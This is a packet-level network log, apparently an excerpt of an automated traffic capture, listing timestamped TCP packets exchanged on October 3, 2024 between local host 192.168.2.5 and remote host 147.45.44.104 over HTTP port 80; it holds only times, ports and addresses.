Oct 3, 2024 15:07:08.163932085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163945913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163959026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163964033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.163974047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.163989067 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164002895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164011955 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164035082 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164055109 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164055109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164071083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164083958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164113998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164172888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164187908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164201021 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164215088 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164218903 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164231062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164238930 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164247036 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164259911 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164274931 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164278984 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164303064 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164313078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164326906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164340019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164357901 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164380074 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164386988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164396048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164410114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164422989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164454937 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164485931 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164521933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164536953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164551020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164565086 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164578915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164589882 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164593935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164609909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164617062 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164654970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164655924 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164669991 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164684057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164696932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164700985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164736986 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164787054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164802074 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164814949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164829016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164830923 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164843082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164858103 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164870024 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164870977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164886951 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164900064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164904118 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164916039 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164931059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.164932013 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164954901 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164973021 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.164979935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165066957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165080070 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165095091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165108919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165112019 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.165131092 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.165159941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165174007 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165186882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165199995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165210962 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.165215015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165234089 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.165236950 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165252924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165266037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.165282011 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.165318012 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249090910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249118090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249131918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249180079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249193907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249197006 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249211073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249227047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249253035 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249269009 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249303102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249324083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249353886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249355078 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249370098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249386072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249399900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249409914 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249413967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.249448061 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249465942 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.249624968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250579119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250593901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250608921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250631094 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250654936 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250663996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250679016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250691891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250713110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250727892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250740051 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250742912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250766993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250775099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250782967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250797033 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250797033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250837088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250859022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250874043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250888109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250901937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250905037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250943899 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.250977993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.250992060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251005888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251023054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251024961 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251116991 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251163006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251221895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251224995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251251936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251290083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251291990 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251317978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251346111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251358986 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251372099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251414061 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251421928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251451015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251476049 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251516104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251529932 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251549006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251565933 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251694918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251708984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251719952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251729012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251740932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251743078 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251751900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251763105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251771927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251776934 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251810074 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251831055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251872063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251873970 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251898050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251920938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.251939058 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.251945972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252003908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252033949 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252039909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252052069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252062082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252073050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252083063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252084970 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252094030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252104044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252109051 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252115965 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252125978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252136946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252151966 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252151966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252163887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252173901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252181053 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252185106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252202034 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252202034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252213001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252223015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252227068 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252233982 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252244949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252254009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252255917 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252264977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252274990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252281904 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252291918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252302885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252312899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252314091 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252322912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252331972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252337933 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252343893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252353907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252365112 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252377987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252415895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252439022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252450943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252477884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252485037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252490997 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252506971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252516985 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252521992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252522945 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252527952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252545118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252553940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252559900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252563953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252569914 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252578020 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252603054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252614021 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252630949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252645016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252679110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252681971 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252691031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252702951 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252712965 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.252721071 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.252897978 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.255758047 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.336771011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336783886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336793900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336833000 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336843014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336853027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336858988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.336863041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.336901903 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337289095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337301016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337310076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337320089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337330103 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337336063 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337340117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337352037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337361097 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337373018 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337395906 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337877035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337904930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337913990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337924957 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337954044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337955952 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.337965012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337975979 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.337991953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338001966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338005066 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338032007 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338125944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338138103 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338170052 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338185072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338196993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338206053 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338227987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338236094 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338244915 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338247061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338263988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338274002 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338299990 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338325977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338327885 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338336945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338363886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338372946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338378906 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338382959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338393927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338407040 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338440895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338557959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338568926 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338578939 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338588953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338602066 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338624954 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338634968 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338691950 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338701963 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338711977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338721037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338735104 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338749886 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338814974 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338825941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338835001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338845015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338856936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338862896 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338869095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338880062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338886976 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338890076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338901997 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338910103 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338929892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338931084 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338948011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338958025 CEST	49704	80	192.168.2.5	147.45.44.104
